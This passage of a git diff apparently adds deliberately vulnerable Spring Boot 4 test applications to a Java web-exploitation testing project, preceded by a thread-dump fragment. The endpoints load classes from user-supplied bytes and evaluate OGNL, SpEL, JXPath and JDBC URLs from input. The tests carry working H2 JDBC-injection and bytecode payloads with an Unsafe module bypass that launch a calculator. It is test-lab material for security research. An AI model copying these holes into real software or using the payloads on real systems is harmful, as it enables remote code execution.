io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@26f677bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"boundedElastic-evictor-1" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e3539f + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"reactor-http-nio-1" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda$1035/0x0000008801469f58 +io.netty.channel.AbstractChannelHandlerContext +io.netty.channel.CombinedChannelDuplexHandler +io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext +io.netty.channel.DefaultChannelPipeline +io.netty.channel.DefaultChannelPipeline$HeadContext +io.netty.channel.SingleThreadIoEventLoop +io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe +io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe +io.netty.channel.nio.NioIoHandler +io.netty.channel.nio.NioIoHandler$DefaultNioRegistration +io.netty.channel.nio.SelectedSelectionKeySetSelector +io.netty.handler.codec.ByteToMessageDecoder +io.netty.util.concurrent.FastThreadLocalRunnable +io.netty.util.concurrent.SingleThreadEventExecutor$5 +io.netty.util.internal.ThreadExecutorMap$2 +org.apache.commons.XZlyH.ErrorUnpvzHandler +org.springframework.boot.reactor.netty.NettyWebServer$1 +reactor.core.publisher.BlockingSingleSubscriber +reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber +reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber +reactor.core.publisher.FluxMap$MapSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber +reactor.core.publisher.FluxPeek$PeekSubscriber +reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber +reactor.core.publisher.Mono +reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber +reactor.core.publisher.MonoCollect$CollectSubscriber +reactor.core.publisher.MonoFlatMap$FlatMapMain +reactor.core.publisher.Operators$BaseFluxToMonoOperator +reactor.core.publisher.Operators$MonoSubscriber +reactor.netty.channel.ChannelOperations +reactor.netty.channel.ChannelOperationsHandler +reactor.netty.channel.FluxReceive +reactor.netty.http.server.HttpServerOperations +reactor.netty.http.server.HttpTrafficHandler diff --git a/settings.gradle.kts b/settings.gradle.kts index cc137869..91394f02 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -44,9 +44,11 @@ include("vul:vul-springboot2") include("vul:vul-springboot2-jetty") include("vul:vul-springboot2-undertow") include("vul:vul-springboot3") +include("vul:vul-springboot4") include("vul:vul-springboot359") include("vul:vul-springboot2-webflux") include("vul:vul-springboot3-webflux") +include("vul:vul-springboot4-webflux") include("vul:vul-playframework") include("vul:vul-dubbo") include("memshell-agent:memshell-agent-attacher") diff --git a/vul/vul-springboot4-webflux/Dockerfile b/vul/vul-springboot4-webflux/Dockerfile new file mode 100644 index 00000000..f9c18847 --- /dev/null +++ b/vul/vul-springboot4-webflux/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:17.0.17_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot4-webflux.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar diff --git a/vul/vul-springboot4-webflux/build.gradle.kts b/vul/vul-springboot4-webflux/build.gradle.kts new file mode 100644 index 00000000..95bd8ddf --- /dev/null +++ b/vul/vul-springboot4-webflux/build.gradle.kts @@ -0,0 +1,15 @@ +plugins { + id("java") + id("org.springframework.boot") version "4.0.8" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-webflux") +} diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java new file mode 100644 index 00000000..e44a63dc --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java @@ -0,0 +1,14 @@ +package com.reajason.javaweb.vul.springboot4; + +public class ClassDefiner extends ClassLoader { + public ClassDefiner() { + } + + public ClassDefiner(ClassLoader parent) { + super(parent); + } + + public Class defineClass(byte[] code) { + return defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java new file mode 100644 index 00000000..ee579cb7 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot4; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot4Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot4Application.class, args); + } + +} diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..744fded8 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import com.reajason.javaweb.vul.springboot4.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public Mono handleFormSubmission(ServerWebExchange exchange) { + return exchange.getFormData() + .flatMap(formData -> { + String data = formData.getFirst("data"); + byte[] bytes = Base64.getDecoder().decode(data); + Object o = null; + try { + o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + return Mono.just(o.toString()); + }); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java new file mode 100644 index 00000000..54cddb40 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot4-webflux/src/main/resources/application.properties b/vul/vul-springboot4-webflux/src/main/resources/application.properties new file mode 100644 index 00000000..330e4c5d --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot4 diff --git a/vul/vul-springboot4/Dockerfile b/vul/vul-springboot4/Dockerfile new file mode 100644 index 00000000..e0d12aa5 --- /dev/null +++ b/vul/vul-springboot4/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:17.0.17_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot4.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar diff --git a/vul/vul-springboot4/build.gradle.kts b/vul/vul-springboot4/build.gradle.kts new file mode 100644 index 00000000..dbd6d513 --- /dev/null +++ b/vul/vul-springboot4/build.gradle.kts @@ -0,0 +1,28 @@ +plugins { + id("java") + id("war") + id("org.springframework.boot") version "4.0.8" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-webmvc") + testImplementation("org.springframework.boot:spring-boot-starter-test") + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") + implementation("ognl:ognl:2.7.3") + implementation("commons-jxpath:commons-jxpath:1.3") + implementation("commons-beanutils:commons-beanutils:1.9.3") +} + +tasks.test { + useJUnitPlatform() +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java new file mode 100644 index 00000000..47b35178 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.vul.springboot4; + +public class ClassDefiner extends ClassLoader { + private ClassDefiner() { + } + + public static Class defineClass(byte[] code) { + return new ClassDefiner().defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java new file mode 100644 index 00000000..3e9a1f4b --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.vul.springboot4; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot4Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot4Application.class, args); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..63860867 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import com.reajason.javaweb.vul.springboot4.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = ClassDefiner.defineClass(bytes).newInstance(); + return o.toString(); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..dcb0ec62 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java new file mode 100644 index 00000000..54cddb40 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java new file mode 100644 index 00000000..c220540b --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@RestController +public class JDBCController { + + @PostMapping("/jdbc") + public void JDBC(String data) throws Exception { + try { + Connection connection = DriverManager.getConnection(data); + connection.close(); + } catch (Throwable e) { + Throwable ex = e.getCause(); + while (ex.getCause() != null) { + ex = ex.getCause(); + } + if (!(ex instanceof ClassCastException)) { + throw e; + } + } + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java new file mode 100644 index 00000000..23c025a3 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.apache.commons.jxpath.JXPathContext; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/jxpath") +public class JXPathController { + @PostMapping + protected Object doPost(String data) { + JXPathContext context = JXPathContext.newContext(null); + return context.getValue(data); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java new file mode 100644 index 00000000..e99eaa7d --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import ognl.Ognl; +import ognl.OgnlContext; +import ognl.OgnlException; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/ognl") +public class OgnlController { + @RequestMapping + protected Object doPost(String data) { + OgnlContext context = new OgnlContext(); + try { + return Ognl.getValue(data, context, context.getRoot()); + } catch (OgnlException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java new file mode 100644 index 00000000..18693dab --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + /** + * 10000 长度限制,无法使用 + */ + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot4/src/main/resources/application.properties b/vul/vul-springboot4/src/main/resources/application.properties new file mode 100644 index 00000000..330e4c5d --- /dev/null +++ b/vul/vul-springboot4/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot4 diff --git a/vul/vul-springboot4/src/test/java/CommandExec.java b/vul/vul-springboot4/src/test/java/CommandExec.java new file mode 100644 index 00000000..c708f1b2 --- /dev/null +++ b/vul/vul-springboot4/src/test/java/CommandExec.java @@ -0,0 +1,15 @@ +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class CommandExec { + static { + try { + java.lang.Runtime.getRuntime().exec("open -a Calculator"); + } catch (IOException e) { + + } + } +} diff --git a/vul/vul-springboot4/src/test/java/JDBCTest.java b/vul/vul-springboot4/src/test/java/JDBCTest.java new file mode 100644 index 00000000..fd402efc --- /dev/null +++ b/vul/vul-springboot4/src/test/java/JDBCTest.java @@ -0,0 +1,54 @@ +import com.reajason.javaweb.vul.springboot4.controller.JDBCController; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class JDBCTest { + + @Test + void testJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String funcionName = "testJDBC"; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" + + "String shellexec(String abc) throws java.lang.Exception{" + + "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" + + "return \"test\"\\;" + + "}'\\;" + + "CALL " + funcionName + "('123')"; + jdbcController.JDBC(str); + } + + @Test + void testJDBC2() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw=="; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "String base64Str=\"" + b64Bytecode + "\"\\;" + + "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "try {" + + " java.lang.Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + + " unsafeField.setAccessible(true)\\;" + + " java.lang.Object unsafe = unsafeField.get(null)\\;" + + " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" + + " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" + + " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" + + " java.lang.Class callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" + + " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" + + "} catch (Throwable e) {}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + 